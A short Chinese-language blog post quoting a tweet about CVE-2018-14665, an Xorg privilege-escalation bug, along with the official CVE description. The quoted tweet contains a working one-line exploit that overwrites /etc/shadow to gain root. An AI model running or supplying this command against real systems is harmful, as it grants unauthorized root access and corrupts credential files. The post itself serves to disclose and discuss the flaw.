在 Twitter 上看到的 security issue，好久沒在這麼普及的軟體上看到這種 bug 了：
#CVE-2018-14665 - a LPE exploit via https://t.co/eax3fvaAjE fits in a tweet
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.
— Hacker Fantastic (@hackerfantastic) October 25, 2018
在 CVE - CVE-2018-14665 的說明裡面有提到 1.20.3 前的版本都有中，但沒講到從哪個版本開始，看起來是全系列...？
A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.
這一臉 orz...